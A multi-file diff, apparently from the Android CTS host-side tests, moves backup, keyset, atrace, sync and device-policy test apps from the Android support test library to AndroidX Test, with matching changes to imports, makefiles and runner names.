diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
index e7de019..e7c9b6d 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeEcA
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
index d54a59b..e6c830b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeNone
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.mk b/hostsidetests/atrace/AtraceTestApp/Android.mk
index 4b550db..33e0773 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.mk
+++ b/hostsidetests/atrace/AtraceTestApp/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsAtraceTestApp
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
index aa9a22c..bcdb256 100644
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
index d4de01d..c79b87c 100644
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.backupnotallowedapp" />
</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
index c218a28..a2a040c 100644
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
index 5fc71a1..57efe7c 100644
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.backupnotallowedapp" />
</manifest>
diff --git a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
index 643b594..f0c34d5 100644
--- a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
+++ b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
@@ -16,15 +16,16 @@
package android.cts.backup.backupnotallowedapp;
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
index 6155ffb..b2ec23d 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
index c00671f..b4b1cae 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
@@ -25,7 +25,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.fullbackuponlyapp" />
</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
index 62b9860..eaeafe8 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
index 03555d4..d00a984 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
@@ -26,7 +26,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.fullbackuponlyapp" />
</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
index 8257ea7..89d16e8 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
index 9b90592..04d3a3f7 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
@@ -27,7 +27,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.fullbackuponlyapp" />
</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
index 17a7e2c..bafd87f 100644
--- a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
+++ b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
@@ -16,15 +16,16 @@
package android.cts.backup.fullbackuponlyapp;
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/backup/KeyValueApp/Android.mk b/hostsidetests/backup/KeyValueApp/Android.mk
index d03f85f..7671dcf 100644
--- a/hostsidetests/backup/KeyValueApp/Android.mk
+++ b/hostsidetests/backup/KeyValueApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/backup/KeyValueApp/AndroidManifest.xml b/hostsidetests/backup/KeyValueApp/AndroidManifest.xml
index cca91a5..262d7cc 100644
--- a/hostsidetests/backup/KeyValueApp/AndroidManifest.xml
+++ b/hostsidetests/backup/KeyValueApp/AndroidManifest.xml
@@ -26,7 +26,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.keyvaluerestoreapp" />
</manifest>
diff --git a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
index 807f5ae..a6d825a 100644
--- a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
+++ b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
@@ -17,7 +17,8 @@
package android.cts.backup.keyvaluerestoreapp;
import static android.content.Context.MODE_PRIVATE;
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
@@ -30,9 +31,10 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
index 0a0efba..c5bb10a 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
index c9284ba..f26431f 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
@@ -27,7 +27,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.restoreanyversionapp" />
</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
index 94d9376..8b0eeed 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
index 0d05b99..6f99f10 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
@@ -27,7 +27,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.restoreanyversionapp" />
</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
index 81652a7..0728535 100644
--- a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
index 57fdf1f..a4a5e9c 100644
--- a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
@@ -28,7 +28,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.restoreanyversionapp" />
</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
index 1dbdb05..3646247 100644
--- a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
+++ b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
@@ -17,28 +17,24 @@
package android.cts.backup.restoreanyversionapp;
import static android.content.Context.MODE_PRIVATE;
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import android.content.BroadcastReceiver;
import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager.NameNotFoundException;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
/**
* Device side routines to be invoked by the host side RestoreAnyVersionHostSideTest. These
* are not designed to be called in any other way, as they rely on state set up by the host side
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
index 4e4f0be..1966414 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
index 1cf6da5..e2eb7c5 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
@@ -35,7 +35,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.sharedprefrestoreapp" />
</manifest>
diff --git a/hostsidetests/backup/SuccessNotificationApp/Android.mk b/hostsidetests/backup/SuccessNotificationApp/Android.mk
index 8531225..12db13d 100644
--- a/hostsidetests/backup/SuccessNotificationApp/Android.mk
+++ b/hostsidetests/backup/SuccessNotificationApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml b/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
index b7f8c2c..307b0e1 100644
--- a/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
@@ -27,6 +27,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.successnotificationapp" />
</manifest>
diff --git a/hostsidetests/backup/SuccessNotificationApp/src/android/cts/backup/successnotificationapp/SuccessNotificationTest.java b/hostsidetests/backup/SuccessNotificationApp/src/android/cts/backup/successnotificationapp/SuccessNotificationTest.java
index 3fb8ef2..96c935c 100644
--- a/hostsidetests/backup/SuccessNotificationApp/src/android/cts/backup/successnotificationapp/SuccessNotificationTest.java
+++ b/hostsidetests/backup/SuccessNotificationApp/src/android/cts/backup/successnotificationapp/SuccessNotificationTest.java
@@ -16,11 +16,13 @@
package android.cts.backup.successnotificationapp;
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/backup/fullbackupapp/Android.mk b/hostsidetests/backup/fullbackupapp/Android.mk
index 40a90d6..91c6d5e 100644
--- a/hostsidetests/backup/fullbackupapp/Android.mk
+++ b/hostsidetests/backup/fullbackupapp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/backup/fullbackupapp/AndroidManifest.xml b/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
index 58f9306..6ab3f68 100644
--- a/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
+++ b/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
@@ -22,7 +22,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.fullbackupapp" />
</manifest>
diff --git a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
index ee49b87..fc07ad6 100644
--- a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
+++ b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
@@ -16,15 +16,16 @@
package android.cts.backup.fullbackupapp;
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
-import static org.junit.Assert.assertTrue;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/backup/includeexcludeapp/Android.mk b/hostsidetests/backup/includeexcludeapp/Android.mk
index 2043a14..08ddbd8 100644
--- a/hostsidetests/backup/includeexcludeapp/Android.mk
+++ b/hostsidetests/backup/includeexcludeapp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
index 3726eca..0367397 100644
--- a/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
+++ b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.cts.backup.includeexcludeapp" />
</manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
index 286d7a3..f46e3f2 100644
--- a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
+++ b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
@@ -16,16 +16,17 @@
package android.cts.backup.includeexcludeapp;
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.content.Context;
import android.content.SharedPreferences;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
index 3069bac..196e6c8 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
index 46c34f6..ed2d8dc 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
@@ -39,6 +39,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.sync.cts" />
</manifest>
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
index f91a358..7357456 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
@@ -23,8 +23,9 @@
import android.accounts.AccountManager;
import android.content.ContentResolver;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
index 5746089..b223b37 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
@@ -29,9 +29,9 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.legacy_legacy-support-v4 \
- ctstestrunner \
+ ctstestrunner-axt \
ub-uiautomator \
- android-support-test
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/Auth/AndroidManifest.xml
index 97659b3..7af6546 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/AndroidManifest.xml
@@ -41,7 +41,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.devicepolicy.accountcheck.auth" />
</manifest>
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
index 84eb38c..00658e1 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src-owner)
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
index 869d906..0cc8deb 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src-owner)
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
LOCAL_SDK_VERSION := current
